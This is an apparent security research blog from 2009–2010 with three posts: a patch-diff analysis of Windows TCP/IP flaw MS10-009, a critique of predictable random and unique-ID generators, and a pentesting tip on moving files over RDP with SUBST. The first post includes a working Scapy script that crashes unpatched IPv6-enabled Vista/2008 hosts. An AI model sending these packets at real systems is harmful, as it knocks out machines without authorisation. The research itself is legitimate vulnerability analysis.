Wednesday, February 24, 2010

MS10-009

A very long time ago, Microsoft patches used to be boring. Then Microsoft invented the SDL. The amount of patches and vulnerabilities fixed in Microsoft products did not decrease, but each bug became a unique and very interesting one...

February 2010 patches are no exception to this rule: each one of them provides enlightenment for the security researcher.

Let's begin this blog series with MS10-009: "Vulnerabilities in Windows TCP/IP Could Allow Remote Code Execution". This is some kind of Holy Grail in computer security: remote code execution through IP packets only!

First of all, this flaw affects Windows Vista and Windows 2008 Server "R1" only. For Windows Vista, Microsoft rewrote the whole TCP/IP stack with the objective to build a native IPv4/IPv6 dual stack. In the process they added a lot of kernel stuff, such as Winsock Kernel (WSK), and they removed deprecated stuff, such as SYN Flood protections (SynAttackProtect et al. registry keys).

Writing a TCP/IP stack is not a task for the faint of heart. Despite Microsoft hiring all sorts of talented engineers, the new stack was found vulnerable to Blat (before build 5270), Land (before build 5270) and Teardrop (before build 5384) attacks.

Even after Vista public release, several security bulletins have been published, addressing issues in the new TCP/IP stack - namely: MS08-001, MS08-004 (this one being specific to Vista) and MS09-048 (this one having a rating of "critical" on Windows Vista and 2008 only).

Therefore, Windows Vista and 2008 TCP/IP stack cannot be considered "mature" and remains an interesting playground for security researchers. Interestingly, MS10-009 vulnerabilities were silently fixed in Windows Seven and 2008 "R2", showing that Microsoft engineers are doing their homework on their side.

Now let's get to the point:
1. ICMPv6 Router Advertisement Vulnerability - CVE-2010-0239
"A remote code execution vulnerability exists in the Windows TCP/IP stack due to insufficient bounds checking when processing specially crafted ICMPv6 Router Advertisement packets. An anonymous attacker could exploit the vulnerability by sending specially crafted ICMPv6 Router Advertisement packets to a computer with IPv6 enabled."

2. Header MDL Fragmentation Vulnerability - CVE-2010-0240
"A remote code execution vulnerability exists in the Windows TCP/IP stack due to the manner in which the TCP/IP stack handles specially crafted Encapsulating Security Payloads (ESP) over UDP datagram fragments when running a custom network driver."

3. ICMPv6 Route Information Vulnerability - CVE-2010-0241
"A remote code execution vulnerability exists in the Windows TCP/IP stack due to insufficient bounds checking when processing specially crafted ICMPv6 Route Information packets. An anonymous attacker could exploit the vulnerability by sending specially crafted ICMPv6 Route Information packets to a computer with IPv6 enabled."

4. TCP/IP Selective Acknowledgement Vulnerability - CVE-2010-0242
"A denial of service vulnerability exists in TCP/IP processing in Microsoft Windows due to an error in the processing of specially crafted TCP packets with a malformed selective acknowledgment (SACK) value."

According to KB974145, several files are updated by MS10-009 patch. However we are going to focus on where the meat is, namely "TCPIP.SYS". All screenshots below apply to Windows 2008 "R1" English 32-bit.

Using BinDiff 3, it quickly appears that 39 functions have a similarity of less than "1.00".


Thanks to debugging symbols provided by Microsoft, matching flaws with functions names is pretty straightforward:
  • IppIsUdpEspPacket / IppReceiveUdpEspList will probably be in the path of flaw #2.
  • TcpEnqueueTcbSack will probably in the path of flaw #4.
  • IppHandleNeighborAdvertisement / Ipv6pHandleRouterAdvertisement will probably be in the path of flaws #1 and #3, which we are targeting today.
From that point, diffing is pretty straightforward.

On the left side (patched version), data size is pre-tested against 0x20, whereas on the right side (vulnerable version), data size is post-tested.

Let's have a deeper look at the NdisGetDataBuffer function, which is new to NDIS 6 (Windows Vista and up):

"Call the NdisGetDataBuffer function to gain access to a contiguous block of data from a NET_BUFFER structure.

PVOID NdisGetDataBuffer(

IN PNET_BUFFER NetBuffer,

IN ULONG BytesNeeded, 
IN PVOID Storage,
IN UINT AlignMultiple,
IN UINT AlignOffset
);
(…) 
Storage: a pointer to a buffer, or NULL if no buffer is provided by the caller. The buffer must be greater than or equal in size to the number of bytes specified in BytesNeeded. If this value is non-NULL, and the data requested is not contiguous, NDIS copies the requested data to the area indicated by Storage."

This API is quite hard to understand and clearly violates the principle of least surprise.

The NET_BUFFER structure holds a NET_BUFFER_HEADER structure, in which a NET_BUFFER_DATA structure can be found, which stores a Memory Descriptor List (MDL).

Let's assume that the caller passed a non-NULL Storage parameter to this function. If all packet data has already been allocated into a single (contiguous) memory area, NdisGetDataBuffer will simply return a pointer to this area. However, if packet data is split across several memory areas, NdisGetDataBuffer will concatenate everything into the Storage buffer. This is where the flaw lies, since Storage is a static buffer of 0x20 bytes allocated on stack (in case of Prefix Info option), whereas the vulnerable ICMPv6 option(s) can be of any size (options being passed in Type-Length-Value format).

Now, the last question is: how to force allocation of non-contiguous memory areas? The answer is obvious: using fragmentation, since packets are copied in memory "as is" at NDIS level …

A bit of Scapy magic later, here is one possible command to invoke the dreaded Blue Screen of Death on any IPv6-enabled remote system. This is a fragmented Router Advertisement (RA), using a non standard "Prefix Info" of length of 255. Please note that option size is given in multiples of 8, therefore the following code will trash 255*8 = 2040 bytes of kernel stack with byte 0x41.
v6_dst = "fe80::bd92:3788:79b0:c5d1"

mac_dst = "00:0c:29:de:9b:a8"

pkt = IPv6(dst=v6_dst, hlim=255) / IPv6ExtHdrFragment() / ICMPv6ND_RA() / ICMPv6NDOptPrefixInfo(len=255, prefixlen=64, prefix="2001::") / Raw(load='A'*2008)

l=fragment6(pkt, 1500)

for p in l:
  sendp(Ether(dst=mac_dst)/p, iface="eth0")
This is not the only NdisGetDataBuffer-based flaw that has been fixed, therefore other ICMPv6 options could be used to achieve the same result.

Now, is this ethical to release such a piece of information to the general public? Well, yes, considering the following mitigations:
  • This affects only IPv6-enabled Windows Vista and Windows 2008 "R1" systems (but IPv6 is enabled by default).
  • Microsoft provided a patch a few weeks ago.
  • This could raise NDIS 6 developers' awareness.
  • "Some people" have been working on it for more than 1 year, so it should be considered "available" (if not public).
  • Since Router Advertisements are not honored when TTL is lower than 255, this attack works only on the local subnet and could not be used to wreak havoc on the Internet.
  • "/GS" has proved so far to be an effective mitigation against remote code execution through this flaw ("it is just a DoS"™) – not to mention kernel-mode ASLR.
  • This is a good Scapy + IPv6 use case.
I might not say the same about other TCP/IP flaws that were fixed in this patch, such as the Selective Acknowledgement one …

Mandatory greetz: Arnaud Ebalard (of Scapy6 fame) and Fabrice Desclaux (of Rr0d fame).

Friday, September 11, 2009

Unique is not Random is not Secure

Unique, Random and Secure are three (very) different concepts. Misunderstanding those concepts could lead to severe security issues, as related in this story. However, I had to remove names from the (not so) innocent applications that were harmed :)

Unique values are needed everywhere in modern computing: ActiveX GUIDs, HTTP session cookies, ... However, while some of those values have no identified security impact (e.g. ActiveX GUIDs), others shall meet very strong security properties (e.g. HTTP session cookies).

An attacker should at least not be able to guess some or all values that have been or will be generated. A stronger property is the inability for the attacker to guess past or future values, even if he has access to a subset of generated values at some point.

Let's take a "uniqueness generator" that returns an integer value (whatever size is that integer). How unique this value can be?

Unique values

The value is unique if two successive calls to the same function are guaranteed not to yield the same result.

This property is very easy to achieve, either through a monotonous counter (0, 1, 2, 3 ...) or a timestamp. But those generators do not meet even the lowest security requirements formulated before: they are very easy to predict at any time. Fortunately, cookie value == timestamp has disappeared from the Internet years ago.

Some better generators exist, such as GUID and UUID. Older GUID generators were based on MAC address and timestamp, therefore having far lesser possible outputs than the entire value space. Recent GUID generators are based on cryptographically sound random generators (see below).

Of course, there are limits to "uniqueness": at least the size of the output value. Everything stored on 32 bits will be easy to find out, even if it comes out of a 160 bits hashing algorithm. Moreover, values can be unique to a given computer only, a given process, or even a given thread.

Random values

For security-related tasks, it is often critical to use non-predictable unique generators. Therefore most people began to think "unique == random".

However, true randomness is very difficult to achieve (as PHP knows).

The simplest random generator is the Linear Congruential generator. All values are correlated through the following formula: xn+1 = A * xn + B [N], where A, B and N are fixed values.

On Windows, the rand() function of MSVCRT.DLL uses the following parameters:
A = 214013
B = 2531011
N = 232
Internal state is maintained on 32 bits. However, only the 16 upper bits are returned as a result, masked with 0x7fff. Therefore, rand() produces values between 0 and RAND_MAX, which has a hardcoded value of 215.

This is confirmed on Windows Seven 64-bit as seen below.

Therefore, the odds of guessing rand() output on a single shot is 1 out of 215, which is already bad (as DNS knows).

But finding out rand() internal state (which is trivial with a few known output values) could prove far more catastrophic. In fact, rand() should never be used at all - it is mostly there for compatibility reasons. Good Windows applications make use of CryptGenRandom().
Out of curiosity, I also had a look at the GNU libc. It turned out that rand() has several implementations, the most basic of which (referred as "type 0") being a Linear Congruential generator with the following parameters:
A = 1103515245
B = 12345
N = 232
RAND_MAX = 231
Using this generator to produce int or unsigned int values will immediately leak the internal generator state to the client.
Newer implementations use a Linear Feedback Shift Register.
Secure values

As we saw earlier, random does not always mean secure. But even if the developer used a cryptographically strong random generator, it can still fall prey to implementation mistakes.

One recent example I had is the (Sun provided) java.rmi.server.UID class. Each word is important:
"A UID represents an identifier that is unique over time with respect to the host it is generated on, or one of 216 "well-known" identifiers. (...) A UID instance contains three primitive values:
unique, an int that uniquely identifies the VM that this UID was generated in, with respect to its host and at the time represented by the time value (an example implementation of the unique value would be a process identifier), or zero for a well-known UID
time, a long equal to a time (as returned by System.currentTimeMillis()) at which the VM that this UID was generated in was alive, or zero for a well-known UID
count, a short to distinguish UIDs generated in the same VM with the same time value"
So, secure or not? Hard to tell from the documentation ... Let's run the following code sample:

package uidtest;
import java.rmi.server.UID;
public class Main {
public static void main(String[] args) {
for (int i=0; i < 5; i++) {
UID u = new UID();
System.out.println(u);
}
}
}

$ javac uidtest.java
$ java uidtest

-8241e54:12334a437e6:-8000
-8241e54:12334a437e6:-7fff
-8241e54:12334a437e6:-7ffe
-8241e54:12334a437e6:-7ffd
-8241e54:12334a437e6:-7ffc

So, it appears that this UID generator is a simple monotonous counter.

Since the Sun JDK has been open-sourced, it is possible to have a deeper look at the implementation:

public UID() {
synchronized (lock) {
if (!hostUniqueSet) {
hostUnique = (new SecureRandom()).nextInt();
hostUniqueSet = true;
}
unique = hostUnique;
if (lastCount == Short.MAX_VALUE) {
boolean interrupted = Thread.interrupted();
boolean done = false;
while (!done) {
long now = System.currentTimeMillis();
if (now <= lastTime) {
// wait for time to change
try {
Thread.currentThread().sleep(1);
} catch (InterruptedException e) {
interrupted = true;
}
} else {
lastTime = now;
lastCount = Short.MIN_VALUE;
done = true;
}
}
if (interrupted) {
Thread.currentThread().interrupt();
}
}
time = lastTime;
count = lastCount++;
}
}

First field is initialized with SecureRandom() ... once per process.

Second field is time in milliseconds. Second field changes when all possible values for the third field have been exhausted.

Third field is a monotonous 16-bit counter.

Conclusion: you should not rely on Java UID class for secure UID generation!

Friday, August 28, 2009

Pentester trick #9: exchanging files through RDP (without getting owned)

Remote access to the target system is sometimes limited to RDP protocol only (either Remote Desktop or Terminal Server access).

This is often the case with heavily firewalled systems, such as branch office servers exposed on the Internet with port TCP/3389 opened alone.

Previously gathered credentials might have allowed the pentester to break into such a system. However, how to get further without being able to access the Internet from the target ?

Locally available utilities (such as the NET command, VBScript-ing and the like) are invaluable in this case. But what about hardcore, process-injecting utilities ?

A pretty well-known trick in this case is the ability to mount through the RDP protocol many client-side resources, such as printers (NOT recommended), clipboard and ... hard drives.



At this point, the novice pentester got his C drive mounted on the remote server, and all his utilities wiped out by server antivirus.

Now it is time to call upon the forgotten lore of MS-DOS, namely the SUBST command which is still available on Windows XP SP3.

After having created a C:\TAZ directory on his laptop, the experienced pentester types at the CMD console prompt:

SUBST D: C:\TAZ

... and is now able to exchange with the remote target through a virtual "D:" drive, without getting owned.

Having compromised the remote network beyond hope, he now types:

SUBST D: /D

... and might have finished the assessment report by 5:00 PM, if he is wise enough NOT to use LaTeX.